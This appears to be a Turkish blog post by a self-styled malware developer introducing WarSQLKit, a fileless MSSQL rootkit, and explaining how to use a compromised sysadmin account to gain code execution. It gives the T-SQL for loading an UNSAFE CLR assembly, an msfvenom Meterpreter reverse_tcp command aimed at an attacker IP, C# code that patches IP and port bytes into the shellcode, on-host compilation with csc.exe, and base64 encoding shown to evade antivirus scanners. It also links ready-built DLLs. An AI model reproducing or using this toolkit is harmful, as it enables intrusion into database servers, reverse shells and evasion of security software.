Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Blog Post

MSSQL Fileless Rootkit – MSSQL Attack Tool – WarSQLKit

MSSQL Fileless Rootkit – MSSQL Attack Tool – WarSQLKit

Giriş

Bu yazımda uzun zamandır uğraştığım bir konuyu ele alacağım: MSSQL Rootkit. Şimdiye kadar MS-SQL için anlatılan post-exploitation işlemlerinin büyük çoğunluğu “xp_cmdshell” ve “sp_OACreate” stored procedure’leri kullanarak anlatılır. Peki xp_cmdshell ve sp_OACreate stored procedure’lerinin olmadığı bir MSSQL sunucusunun “sa” hesabını yada “sysadmin” haklarına sahip herhangi bir kullanıcı hesabını ele geçirmişsek, o sisteme girmekten vaz mı geçeceğiz?

Tabii ki vazgeçmememiz gerekiyor. Bu makale “sysadmin” haklarına sahip bir hesabının yakalandığı ve “xp_cmdshell”, “sp_OACreate”, “sp_OAMethod” vb. prosedürlerin hiçbirinin çalışmadığı bir senaryo düşünülerek kaleme alınmıştır.

WarSQLKit Github: https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit

WarSQLKit.dll: https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll

WarSQLKit_Compressed.dll: https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll

WarSQLKitMinimal.dll: https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll

Meterpreter CSharp (C#) Shellcode: https://github.com/mindspoof/Build-Meterpreter-CSharp-Shellcode

Meterpreter CSharp (C#) Base64 Encoded Shellcode: https://github.com/mindspoof/Build-Encoded-Meterpreter-C-Shellcode

Başlıca konularımız aşağıdaki başlıklardan oluşacaktır.

  1. CLR Nedir?
  2. CLR Tabanlı DLL Nedir?
  3. CLR Tabanlı DLL Oluşturma
  4. DLL Komut İşleyicisi
  5. Assemblies – Stored Procedures – TRUSTWORTHY  İlişkisi
    1. DLL Dosyasını Byte Stream Olarak MSSQL’e Yükleme
    2. DLL Dosyasını SQL Server Management Studio ile MSSQL’e Yükleme
    3. DLL Dosyasını Sunucudaki Bir Dizinden Çağırma
  6. Windows Komutları Çalıştırma
  7. C# – MSSQL Uyumlu Meterpreter ShellCode
  8. .NET Framework’den Faydalanarak (Visual Studio Olmadan) MSSQL Üzerinden C# Kodu Derleme
  9. Meterpreter Shellcode’unu Anti-Virüslerden Saklama Tekniği
  10. RottenPotato (Kumpir.exe) Üzerinden Hak ve Yetki Yükseltme
  11. Mimikatz ile Oturum Bilgilerini Elde Etme
  12. File Downloader
  13. WarSQLKit.dll (MSSQL Fileless Rootkit) Kullanım Rehberi
    1. WarSQLKitMinimal.dll (MSSQL Fileless Rootkit) Kullanım Rehberi

1. CLR

CLR (Common Language Runtime – Ortak Dil Çalışma Zamanı) MSSQL Server 2005 ile hayatımıza giren ve MSSQL Server 2016’da da mevcut olan, .NET Framework’ün kod yürütme ortamını sağlar. Yani MSSQL üzerinden .NET Framework objelerini işleyip, çalıştırmamızı sağlar. MSSQL CLR ile herhangi bir .NET DLL’ini içeri aktarma ya da T-SQL ile kod çalıştırma işlemlerini gerçekleştirebiliriz.

2. CLR Tabanlı DLL Nedir?

CLR Tabanlı DLL; MSSQL için C#, VB.NET vb. .NET dillerinden birini kullanarak saklı yordamlar (stored procedure), tetikleyiciler (triggers) vb. T-SQL cümlelerinin .NET çatısı üzerinden çalıştırılmasını sağlar. CLR tabanlı oluşturacağımız bir DLL ile, MSSQL’den DLL dosyasına stored procedure ya da benzeri T-SQL cümleleri göndererek, bu cümlelerin çalışmasını sağlayabiliriz. Benim için ampullerin yandığı yer de tam olarak burası oldu. Şöyle düşündüm, ben eğer MSSQL üzerinden herhangi bir .NET objesi çalıştırabiliyorsam, o zaman istediğim herhangi bir kodu işletim sisteminde de çalıştırabilirim. Hatta biraz daha ileri giderek, .NET’in tüm gücünü kullanabilir ve kendi Rootkit’imi oluşturabilirim. Peki nasıl yapacağız?

3. CLR Tabanlı DLL Oluşturma

Öncelikle Visual Studio’dan bir proje oluşturacağız. New Project > SQL Server > SQL Server Database Project adımını izliyoruz.

1_Create_project

Projemizi oluşturduktan sonra sağ tıklayıp Add > New Item > SQL CLR C# > SQL CLR C# Stored Procedure adımını takip ediyoruz.

2_CLR_Stored_Procedure

Bu adımlardan sonra artık CLR tabanlı DLL dosyamız hazır durumdadır. Artık kodlamaya başlayabiliriz.

4. DLL Komut İşleyicisi

Stored Procedure’ümüzden DLL’e gönderilecek komutları işleyecek bir metod yazmamız gerekiyor. Bunu oluşturmamızın sebebi MSSQL üzerinden iletilen işletim sistemi komutlarını çalıştırmamız gerekmesindendir.

3_clr_cmd

CmdExec” adında ve “cmd” parametresine sahip bir static metot tanımladım. Bu static metoda gelen komutlar “RunCommand” static metoduna iletiliyor. Böylece input olarak gönderilen komutu parametreleri ile birlikte bir process üzerinden çalıştırıp, sonuçları döndürebileceğiz.

4_run_command

RunCommand metoduna gönderilen komutlar ile Process() sınıfından bir process oluşturup, cmd.exe üzerinden çalışmasını ve çıktının bize MSSQL üzerinden geri döndürülmesini sağlıyoruz.

5. Assemblies – Stored Procedures – TRUSTWORTHY  İlişkisi

SQL CLR C# Stored Procedure kullanarak .NET DLL’imizin basic halini oluşturduk. Ancak bu dll tek başına işimize yaramayacaktır. DLL’i MSSQL’e kayıt ettirerek stored procedure’ümüzü oluşturacak T-SQL’e ihtiyacımız var. MSSQL üzerinden CLR tabanlı DLL dosyaların oluşturulmasına ve çalıştırılmasına izin vermemiz gerekiyor. MSSQL Server 2016 varsayılanda CLR tabanlı DLL dosyalarını çalıştırmaz, disable olarak gelir. Bu ayarı değiştirmek için aşağıdaki koddan yararlanıyoruz.

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

Yukarıdaki kod ile “clr enabled” parametresini aktif hale getiriyoruz. Bu işlemin ardından DLL dosyalarımız Assemblies olarak MSSQL’e eklenebilir.

TRUSTWORTHY; MSSQL veritabanında yer alan veritabanlarının güvenli olarak işaretlenmesini sağlar. Güvenli olarak işaretlenmiş veritabanları objelere, ağ ve işlem kaynaklarına erişebilir. Trustworthy ile veritabanını güvenli olarak işaretlemek için aşağıdaki kodu kullanabiliriz.

ALTER DATABASE master SET TRUSTWORTHY ON;

Bu işleminde ardından hazırladığımız DLL dosyasını MSSQL’e Assemblies olarak tanıtmamız gerekecek. İşin en güzel tarafı burası diyebilirim. MSSQL’de Assemblies (.NET DLL) tanımlamanın 3 farklı yöntemi mevcut. Yani oluşturduğumuz DLL dosyasını 3 farklı yöntem kullanarak veritabanına yükleyebiliriz.

a. DLL Dosyasını Byte Stream Olarak MSSQL’e Yükleme

Oluşturduğumuz DLL dosyasını MSSQL’e bir Byte Stream halinde yükleyebiliriz. Bunun için ayrı bir projede oluşturduğumuz DLL dosyasını File.ReadAllBytes() sınıfı ile çağırmamız gerekiyor.

5_byteStream

Ayrı bir projede oluşturduğumuz DLL dosyasını byte Stream türünden okuyarak byteStream.txt dosyasına yazdırdım. Artık elimizde DLL dosyasının byte Stream’i mevcut. MSSQL’e herhangi bir DLL yüklemeden bu byte Stream ile Assemblies’e DLL dosyamızı kaydettirebileceğiz. Bunun için birkaç SQL koduna ihtiyacımız olacaktır.

Not: Bu yöntem ile MSSQL’de herhangi bir DLL dosyası oluşturmadan sadece Stream olarak DLL dosyamızı tutacağız. Böylece Rootkit’imiz tamamen fileless olacaktır.

CREATE ASSEMBLY sp_cmdExec
FROM 0x4D5A90000300000004000000FFFF0000B800000000000
WITH PERMISSION_SET = UNSAFE 
GO

CREATE ASSEMBLY komutu ile “sp_cmdExec” adında bir Assemblies oluşturuyoruz. Ardından FROM komutu ile dosyaya yazdırdığımız byte Stream’i seçeceğiz. Burada dikkat etmemiz gereken en önemli nokta şudur; text dosyasına yazdırdığımız byte Stream’in başında “0x” bulunmamaktadır. Text dosyamızdaki stream’i yapıştırdığımızda çalışmayacaktır. Bu yüzden 0x’i yazdıktan sonra text dosyamızdaki byte stream’i yapıştırıyoruz. WITH PERMISSION_SET = UNSAFE parametresi ile de DLL dosyamızın güvenli olmayan kaynaklara erişmesini (yani sadece sql, t-sql kodları çalıştırmayacağımızı) belirtiyoruz. Eğer parametre olarak SAFE parametresini verirsek ve CMD komutu çalıştırmaya çalışırsak, “System.Security.HostProtectionException” hatası fırlatılacak ve cmd komutumuz hiçbir zaman çalışmayacaktır.

clr

Yukarıdaki resimde görüleceği üzere, SAFE sadece database üzerinde işlem yaptırmaktadır. EXTERNAL_ACCESS Dosyalara, Registry’e ve Network’e erişmemize olanak verir. UNSAFE ise Native DLL’lere, COM objelerine ve diğer güvenli olmayan kaynaklara erişmemize imkan verir.

b. DLL Dosyasını SQL Server Management Studio ile MSSQL’e Yükleme

Oluşturduğumuz DLL dosyasını SQL Server Management Studio üzerinden de MSSQL’e kaydettirebiliriz. Bunun için MSSQL’e management studio aracılığı ile bağlanalım.

6_save_assemblies

Databases altından System Databases’e ve Master’a erişelim. Ardından Programmability menüsünden Assemblies’e sağ tıklayarak “New Assembly…”i seçelim.

7_select_assemblies

Browse menüsünden oluşturduğumuz DLL dosyasını seçerek DLL’imizi kaydettirebiliriz. Bu işlemin ardından Assemblies menüsüne DLL dosyamızın eklendiğini görmemiz gerekiyor.

8_save_assemblies

Yukarıdaki ekran görüntüsünde görüleceği üzere “WarSQLKit” adındaki DLL dosyamız Assemblies’e kaydedildi.

c. DLL Dosyasını Sunucudaki Bir Dizinden Çağırma

DLL dosyamızı Assemblies’e kaydettirmemizin bir diğer yolu da sunucudaki herhangi bir dizinden DLL’i load etmemizdir. Bunun için de aşağıdaki komutlardan yararlanabiliriz.

CREATE ASSEMBLY sp_cmdExec
FROM 'C:\ProgramData\WarSQLKit.dll'
WITH PERMISSION_SET = UNSAFE 
GO

DLL dosyamızı herhangi bir yöntem ile MSSQL sunucusuna yüklediysek, DLL dosyamızı bir dizinden de çağırabiliriz. Çağırdığımız DLL dosyası load olduktan sonra, sunucudan silebiliriz. DLL dosyasını sunucudan sildiğimizde bile Assemblies’imiz yine çalışmasına devam edecektir. Çok güzel değil mi?

3 yöntemden herhangi birini kullanarak DLL dosyamızı Assemblies’e kaydettikten sonra, DLL dosyamızda oluşturduğumuz CmdExec static metodunu çağırmamız ya da işlem çağrısı göndermemiz gerekiyor. Bunu yapabilmek için son olarak bir stored procedure’e ihtiyacımız var. Aşağıdaki komutlar ile stored procedure’ümüzü oluşturabiliriz.

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO

Yukarıdaki kodlarımızı detaylandıracak olursak, CREATE PROCEDURE “sp_cmdExec” komutu ile sp_cmdExec adında bir stored procedure oluşturuyoruz. Artık “xp_cmdshell” yerine “sp_cmdExec” komutunu kullanacağız. @Command [nvarchar] (4000) ile de komut parametremizi tanımlıyoruz. Nvarchar maksimum 4000 karaktere destek verdiği için 4000 karakterlik komut çalıştırabilir ya da görüntüleyebiliriz. EXTERNAL NAME parametresi ile oluşturduğumuz DLL dosyasının namespace’i olan WarSQLKit’i, bu namespace içerisinde yer alan StoredProcedures isimli public partial class’ımızı ve CmdExec isimli public static void türündeki metodumuzu çağırıyoruz.

Artık her şeyimiz hazır, gidip komutlarımızı çalıştıralım.

6. Windows Komutları Çalıştırma

9_cmdexec

EXEC sp_cmdExec ‘net user’; komutu ile Windows Yerel Kullanıcı listesini ekrana getirdik. Artık xp_cmdshell ve sp_OACrate gibi bir procedure’e ihtiyacımız bulunmuyor. Bildiğimiz tüm Windows komutlarını işletim sistemine gönderebiliriz.

7. C# – MSSQL Uyumlu Meterpreter ShellCode

Buraya kadar temel xp_cmdshell’den pek farklı bir şey yapmadık. Rootkit’imizi rootkit yapan kısımlara şimdi geçebiliriz. Hatırlarsanız, .NET Framework’ün gücünü MSSQL’de kullanabileceğimizden bahsetmiştim. O halde DLL dosyamızı biraz daha modifiye ederek, içerisine Meterpreter Shellcode’unu gömelim. Böylece sp_cmdExec stored procedure’ümüze tanımlayacağımız bir parametre ile Meterpreter oturumu elde edebiliriz.

Daha önce okumayanlar için temel msfvenom kullanımına bu adresten erişebilirsiniz.

Kali işletim sistemimizden terminal ekranına erişerek msfvenom üzerinden csharp uyumlu shellcode oluşturalım. Bunun için aşağıdaki komutlardan yararlanabiliriz.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows
10_msfvenom_csharp

Oluşturduğumuz shellcode 323 byte’lık bir kod olacaktır. Oluşturduğumuz shellcode’u csharp uyumlu olarak oluşturduk. Meterpreter kodlarını derlemek ve çalıştırmak için DLL dosyamıza yeni bir class eklememiz gerekiyor. Ben MeterpreterBuilder adında bir class oluşturdum. Oluşturduğum bu class’a public void türünde ve SaveReverseMeterpreter() adında bir metot tanımlıyoruz. Bu metoda shellcode’u çalıştıracak gereksinimleri tanımlıyoruz.

11_shellcode_csharp

Bu işlemin ardından MeterpreterBuilder classımızın globaline aşağıdaki parametreleri tanımlıyoruz.

12_shellcode_csharp

Shellcode’umuzu çalıştıracak class’ımız hazır. Direkt olarak sp_cmdExec üzerinden çalıştırmak istediğimizde karşımıza 2 problem çıkacaktır. 1. MSSQL (sqlservr.exe) bu shellcode’u çalıştırmamıza izin vermeyecektir. 2. Her seferinde msfvenom’dan csharp shellcode’u üretip, DLL’imizi güncellememiz de bize büyük bir yük çıkaracaktır. Bu yüzden öncelikle bu problemleri çözmemiz gerekiyor.

Shellcode’u çalıştırmak için .NET Framework’ün dahili derleyicisini kullanarak (Visual Studio’ya ihtiyaç olmadan) kodumuzu exe olarak build ederek ayrı bir process olarak çalıştırmamız gerekiyor. Her seferinde msfvenom ve shellcode ile uğraşamayacağımız için, SaveReverseMeterpreter() metodumuza string ip ve string port şeklinde parametre tanımlayarak, stored procedure’ümüzden gelecek IP-port parametresi ile shellcode’umuzu güncelleyerek, derlememiz gerekiyor. 1. Adım için “.NET Framework’den Faydalanarak (Visual Studio Olmadan) MSSQL Üzerinden C# Kodu Derleme” başlıklı bölümü okuyabilirsiniz. 2. adımda metodumuzu public static void SaveReverseMeterpreter(string ip, string port) şeklinde güncelliyoruz. Artık SaveReverseMeterpreter metodu çağrıldığında bir IP ve port girmemizi isteyecektir. Girilen IP ve port bilgisine göre de shellcode’umuzu güncelleyeceğiz. Bunun için aşağıdaki kodlardan faydalanabiliriz.

var ipOctetSplit = ip.Split('.');
byte octByte1 = Convert.ToByte(ipOctetSplit[0]);
byte octByte2 = Convert.ToByte(ipOctetSplit[1]);
byte octByte3 = Convert.ToByte(ipOctetSplit[2]);
byte octByte4 = Convert.ToByte(ipOctetSplit[3]);
int inputPort = Int32.Parse(port);

Parametre olarak gönderilen IP’yi “.” ya göre split ediyoruz. Böylece IP 4 octet’e ayrılmış olacaktır. Her octet için byte türünde bir değişken tanımlayarak, Convert.ToByte ile de string olarak gelen IP octetlerini byte türüne çeviriyoruz. Aynı işlemi port için de yapıyoruz.

Port için yaptığımız işlem biraz daha farklı oldu. Port’u Int32 türüne parse ettik. Bunun sebebi şudur; port sadece rakamdan oluşmaktadır. Arada bir noktalama işareti bulunmamaktadır. Ayrıca port 256’dan büyük bir rakama denk gelebilir. Yani port 4444 olarak tanımlandıysa 256’dan büyük olduğu için Meterpreter shellcode’da 2 byte’lık bir değere sahip olacaktır. Biz portun hangi sayı ile set edileceğini bilmediğimiz için, port numarasının büyüklüğüne bakarak, hangi byte’ı set etmemiz gerektiğine karar vereceğiz.

byte port1Byte = 0x00;
byte port2Byte = 0x00;

0x00 değerine sahip, byte türünden 2 adet değişken tanımladım.

if (inputPort > 256)
                {
                    int portOct1 = inputPort / 256;
                    int portOct2 = portOct1 * 256;
                    int portOct3 = inputPort - portOct2;
                    int portoct1Calc = portOct1 * 256 + portOct3;
                    if (inputPort == portoct1Calc)
                    {
                        port1Byte = Convert.ToByte(portOct1);
                        port2Byte = Convert.ToByte(portOct3);
                    }
                }
                else
                {
                    port1Byte = 0x00;
                    port2Byte = Convert.ToByte(inputPort);
                }

Int32 türüne set ettiğimiz port değerini kontrol etmek için bir if koşulu tanımladım. Buna göre girilen port numarası 256’dan büyükse koşulumuz çalışacak ve bir hesaplama yapmak zorunda kalacağız. Port eğer 256’dan büyükse, ilk olarak girilen portu 256’ya bölerek, çıkan tam rakamı int türden bir değişkene atıyoruz. Daha sonra çarpan toplamını hesaplamak için int türden ikinci bir değişken tanımlıyoruz ve bir önceki değerden elde edilen int değişken ile 256’yı çarpıyoruz.

Çarpan hesaplandıktan sonra set edilen porttan, elde ettiğimiz ikinci değişkenin değerini çıkararak üçüncü bir int değişkene atıyoruz. Ardından bir if koşulu daha tanımlayarak, girilen port değeri ile hesaplamadan çıkan port değerini karşılaştırıyoruz. Eğer koşul doğru olarak sağlanıyorsa çıkan değerleri, daha önce tanımladığımız byte türündeki port değişkenlerine atıyoruz.

Bu kısım biraz karışık gelebilir. Daha anlaşılır olması için örnekleme yapacağım. Örneğin biz meterpreter’ın 4444 portundan bize dönmesini istiyoruz. Shellcode’umuzda bu port için ayrılmış 2 byte’lık alan var, bu alanı set etmemiz gerekiyor. 4444/256=17 rakamını buluyoruz. 17*256=4352. 4444-4352=92 değerlerini buluyoruz. Buna göre 4444 portu için 17 ve 92 sayılarını shellcode’umuza tanımlamamız lazım. 17’nin byte (hex) türden karşılığı 0x11 ve 92’nin byte türden karşılığı ise 0x5c olacaktır. 57156 portu için örneklersek de 57156/256=223, 223*256=57088, 57156-57088=68, karşılığı ise 0xdf ve 0x044 olacaktır. Shellcode’umuzda port değerine karşılık gelen byte değişkenlerine bunları atamamız gerekiyor.

Örnek olarak verdiğimiz 192.168.139.129 IP adresimiz shellcode’umuzda 0xc0, 0xa8, 0x8b, 0x81’e denk gelecektir. Şimdi bu değişkenleri shellcode’umuzda değiştirmemiz gerekiyor. Belirttiğim parametreler ile msfvenom’dan üreteceğimiz shellcode hep aynı değişken sırası ile üretilecektir. Byte array’de yer alan IP ve port bilgisi aşağıdaki gibi olacaktır.

13_shellcode_csharp

Byte array’in 174, 175, 176 ve 177 numaralarında bizim set ettiğimiz IP adresinin tutulduğunu görebiliriz. Port hesaplamaya yukarda değinmiştim. 4444 portunun 17 ve 92’ye karşılık geldiğini görmüştük. Portumuz da 181 ve 182 byte’larda yer almaktadır. Parametre olarak gönderilen IP ve port için byte array’de yer alan alanları değiştirmemiz yeterli olacaktır.

buf[174] = octByte1;
buf[175] = octByte2;
buf[176] = octByte3;
buf[177] = octByte4;
buf[181] = port1Byte;
buf[182] = port2Byte;

Shellcode içerisinde yer alan IP ve port değerlerini yukarıdaki gibi set ediyoruz. Buraya kadar her şey tamamdır. Şimdi StoredProcedure.cs’e geri dönerek, Meterpreter shellcode’umuzu çağıracak tanımlamayı yapmalıyız. Yani MSSQL’den “EXEC sp_cmdExec ‘sp_meterpreter_reverse_tcp 192.168.139.129 4444’” şeklinde bir komut çalıştırdığımızda, SaveReverseMeterpreter(string ip, string port) metodumuzu çağırsın.

14_save_reverse_meterpreter

CmdExec içerisine bir if koşulu tanımlayarak, gönderilen komut içerisinde “sp_meterpreter_reverse_tcp” varsa, komutun boşluklara göre split edilmesi gerektiğini söyledik. Daha sonra MeterpreterBuilder sınıfını çağırarak Ip ve Port değerlerini set ederek, SaveReverseMeterpreter() metodunu çağırdık. Artık kodlarımız hazır. Bu kodları MSSQL sunucusunda .NET Framework kullanarak, Visual Studio olmadan derleyeceğiz ve Meterpreter exe’sini build edeceğiz. Böylece “sqlservr.exe”nin shellcode’u çalıştırma engelini atlacağız.

Not: IsRunSystemPriv parametresini daha sonra açıklayacağım.

8. .NET Framework’den Faydalanarak (Visual Studio Olmadan) MSSQL Üzerinden C# Kodu Derleme

Bu bölümde oluşturduğumuz Meterpreter shellcode’unu bir csharp (.cs) dosyası haline getirerek, SQL sunucusunda çalıştıracak kodlarımıza değineceğim. 7. Bölümde oluşturduğumuz shellcode’u bir console uygulaması şeklinde yeniden düzenlememiz gerekiyor.

15_shellcode_save_cs

Shellcode’umuzu bir console uygulaması şeklinde var(string) türünden bir değişkene doldurdum. Değişkene doldurduğum bu string veriyi SQL Server’daki yazma iznimizin olduğu bir dizine yazdırmamız lazım. Bu işlem için aşağıdaki kodu kullanabiliriz.

File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr);

Metodumuzu SQL Serverdan çağırdığımızda C:\ProgramData dizinine meterpreter_reverse_tcp.cs ismi ile shellcode’umuzu kaydedecektir. SQL Server’a kaydedilen dosyamız aşağıdaki gibi görünecektir.

16_shellcode_save_cs

SQL Server’a kaydettirdiğimiz csharp (.cs) dosyamızı Visual Studio olmadan derlemeye ihtiyacımız var. Bunun için sunucuda .net framework’ün yüklü olması yeterlidir. Zaten MSSQL üzerinde çalıştığımız için, MSSQL’in .Net Framework bağımlılığı var. Yani her koşulda sunucuda .Net Framework var diyebiliriz. İyi güzel, .Net Framework var lakin hangi sürümü var sunucuda? Bunu bilmiyoruz. Sürümü veya sürümleri öğrenmek için aşağıdaki gibi bir metot daha yazıyoruz.

17_net_framework_version

List<string> türünden bir Generic List oluşturarak, “C:\Windows\Microsoft.NET\Framework” klasöründe bulunan alt dizinlerin isimlerini generic list içerisine dolduruyoruz. Sunucuda yüklü olan tüm .Net Framework’ler bu dizinde yer almaktadır. Bu bilgiyi de elde ettikten sonra, artık gidip csharp(.cs) dosyamızı build edebiliriz.

.Net Framework’ün kurulu olduğu dizinde “csc.exe” dosyası bulunmaktadır. csc.exe .net framework ile birlikte gelen bir csharp derleyicisidir. Bu exe’yi kullanarak Visual Studio’ya ihtiyaç duymadan, herhangi bir .cs dosyasını derleyebiliriz. Rootkit’te kullandığım örnek derleme işlemi aşağıdaki gibidir.

18_build_meterpreter

Cmd.exe’nin /c parametresine güncel .Net Framework versiyonun yüklü olduğu dizinde bulunan csc.exe’yi çalıştırarak “/unsafe /platform:x86” x86 mimaride bir derleme yapmasını, derlenen exe’yi “/out:C:\ProgramData\” dizinine random bir isimle kaydetmesini ve kaynak kod olarak da “C:\ProgramData\” dizinine random bir isimle kaydettiğim meterpreter_reverse_tcp.cs dosyasını derlemesini söyledim.

Ardından “File.Delete(@”C:\ProgramData\” + randomFileName + @”_reverse.cs”);” ile oluşturmuş olduğum .cs dosyasını sunucudan silmesini istedim. Ve son olarak da “BuildRunMeterpreter(@”C:\Windows\System32\cmd.exe”, @” /c C:\ProgramData\” + randomFileName + @”_reverse.exe”);” kodu ile de cmd.exe /c parametresi ile oluşturduğum Meterpreter exe’sini çalıştırmasını istedim.

Not: Bu işlemlerden önce msfconsole’dan exploit/multi/handler kullanarak windows/meterpreter/reverse_tcp payload’ını set etmiş ve bağlantıları bekliyor olmamız gerekiyor. WarSQLKit içerisinde bu yöntem ile tanımlanmış olan 4 adet Meterpreter ajanı mevcuttur. Aşağıdaki Meterpreter payload’larını WarSQLKit içerisinde kullanabiliriz.

  • windows/meterpreter/reverse_tcp
  • windows/meterpreter/bind_tcp
  • windows/x64/meterpreter_reverse_tcp
  • windows/meterpreter/reverse_tcp_rc4

Dip Not: Oluşturduğumuz bu Meterpreter shellcode’u birçok antivirüse yakalanacak ve çalışması duracaktır. Bu yüzden bir sonraki bölüm olan “Meterpreter Shellcode’unu Anti-Virüslerden Saklama Tekniği” başlığında, shellcode’umuzu antivirüsten nasıl saklayacağımıza geçmemiz gerekiyor.

9. Meterpreter Shellcode’unu Anti-Virüslerden Saklama Tekniği

Klasik oluşturduğumuz shellcode’umuz maalesef ki antivirüslere yakalanacaktır. Bu sebeple, shellcode’umuzu nasıl antivirüslerden saklarız diye düşünürken, sevgili Tolga Sezer ile aklımıza shellcode’u base64 ile encode etmek ve çalışma anında base64’ü shellcode türüne çevirerek çalıştırmak geldi.

Peki nasıl olacaktı? Shellcode’u base64 ile encode ettiğimizde IP ve port değerlerini nasıl otomatize bir şekilde değiştirecektik? Bunlar biraz sorun gibi görünsede birkaç kolay yöntem ile yapabileceğimizi göreceğiz. Öncelikle shellcode’un csharp türünden raw halini almamız ve base64 encoding uygulamamız, ardından IP ve port değerlerini değiştirerek tekrar raw halini alarak base64 encoding uygulayıp, değişen kısımları incelemem gerekiyordu. Çünkü daha önceki örnekte olduğu gibi IP ve port’un denk geldiği byte dizisini değiştirdiğimde base64 hataya düşüyordu. Tabi bunda base64’ün 6’bitlik dörtlü gruplara dağıtma derdi vardı. Bu yüzden shellcode’un base64 çıktısını sıkı bir incelemeden geçirdim. İlk olarak shellcode’umuzun base64 ile encode edilmiş haline bakmamızda fayda var.

19_shellcode_base64

IP ve port bilgilerini değiştirerek, shellcode’a yeniden base64 encode uyguladığımızda “wKiLhmgCANkD” karakterlerinin değiştiğini gördüm. Bu kısmı decode ettiğimde ise “c0 a8 8b 86 68 02 00 d9 03” değerleri olduğunu gördüm. Bu decode ettiğim değerin sırası ile “192.168.139.134 104 2 0 217 3” değerlerine karşılık geldiğini anladım. Yani IP ve port değiştirdiğimizde base64’ün bozulmadan düzgün çalışması için 9 byte’ın doğru şekilde set edilmesi gerekiyor. İlk 4 byte IP’ye ve son 2 byte da porta denk geliyor.

Sabit bir base64 değerimizi shellCodeRaw isimli string türde değişkene tanımlamıştık. Girilen IP ve port değerlerini base64’ümüzü bozmadan, stringde değiştirmememiz gerekiyor. Bunun için 9 byte’lık bir array’a ihtiyacımız var.

20_ip_port_byte

Girilen IP ve port değerleri için 9 byte’lık yeni bir array dizisi oluşturdum. İlk 4 byte set ettiğimiz IP adresini, son 2 byte ise portu temsil ediyordu. Bu 9 byte’lık diziyi base64 ile encode ettiğimizde shellcode’umuzun base64 halini bozmayacaktır.

21_ip_port_base64

String türünde ve s3 adında bir değişken tanımladım. Tanımlamış olduğum bu değişkene 9 byte’lık oluşturduğumuz array’i base64 string’e convert ediyoruz. Artık elimizde IP ve port değişkenlerine karşılık gelen bir base64 değerimiz var. Daha sonra newShellCode isminde bir string değişken tanımlıyorum. Replace ile “wKiLhmgCANkD” değerini, oluşturduğumuz 9 byte’lık array’in base64 hali ile değiştiriyorum.

Shellcode’umuzun base64 hali hazır durumda. Girilen IP ve port değerlerini artık otomatik düzeltip, base64’e çevirerek yeni base64 değerini oluşturacak. Bu base64 değerini varsayılanda çalıştıramıyoruz. Bu yüzden çalışma anında base64 değerini byte array’e çevirerek shellcode’umuzu çalıştıracağız.

22_new_shell_code

Bu işleminde ardından daha önce tanımladığımız, “funcAddr” ve “Marshal.Copy” alanlarındaki değişken adımızı değiştirerek, hazır hale getirebiliriz.

23_marshall_copy

CSharp(.cs) kodumuzu derleyip, exe oluşturmasını sağlayalım ve shellcode’umuzun yakalanma durumunu kontrol edelim. Ben her iki uygulama için farklı console uygulamaları oluşturdum. Oluşturduğum bu console uygulamalarını online anti-virüs sitelerine yükleyerek testleri yaptım. Her ne kadar virustotal’in gönderilen uygulamaları anti-virüs üreticileri ile paylaştığını biliyor olsam da göstermek ve kıyaslama için yükledim.

Klasik Byte Array Türünden Shellcode’un Test Sonuçları

Jotti (5/18): https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l

NoDistribute (6/32): https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n

VirusTotal (11/60): https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection

Base64 Türden Encode Edilmiş ShellCode’un Test Sonuçları

Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z

NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6

VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection

Halihazırda sadece Eset’e yakalanıyoruz, tabi daha farklı yöntemler de kullanılabilir. Ancak temel olarak Rootkit’de kullandığım yöntem bu diyebiliriz.

10. RottenPotato (Kumpir.exe) Üzerinden Hak ve Yetki Yükseltme

Bu bölümde her şeyin hazır olduğunu varsayıyorum. Hesabını ele geçirdiğimiz bir SQL Server, varsayılanda “NT Service\MSSQLSERVER” hak ve yetkilerinde çalışıyordur. Yani NT Service Management Service Account’undan “MSSQLSERVER” isminde bir Virtual Account türünde çalışıyor. Bu bir Windows işletim sisteminde bilinen en düşük hak ve yetki türüdür. Bu hak ve yetki türünden “NT AUTHORITY\SYSTEM” hak ve yetkilerine sıçramamız gerekiyor. MS-SQL 2016’da hak ve yetki yükseltme ile ilgili yazmış olduğum http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalation yazıyı konunun daha anlaşılır olması açısından okumanızı öneririm.

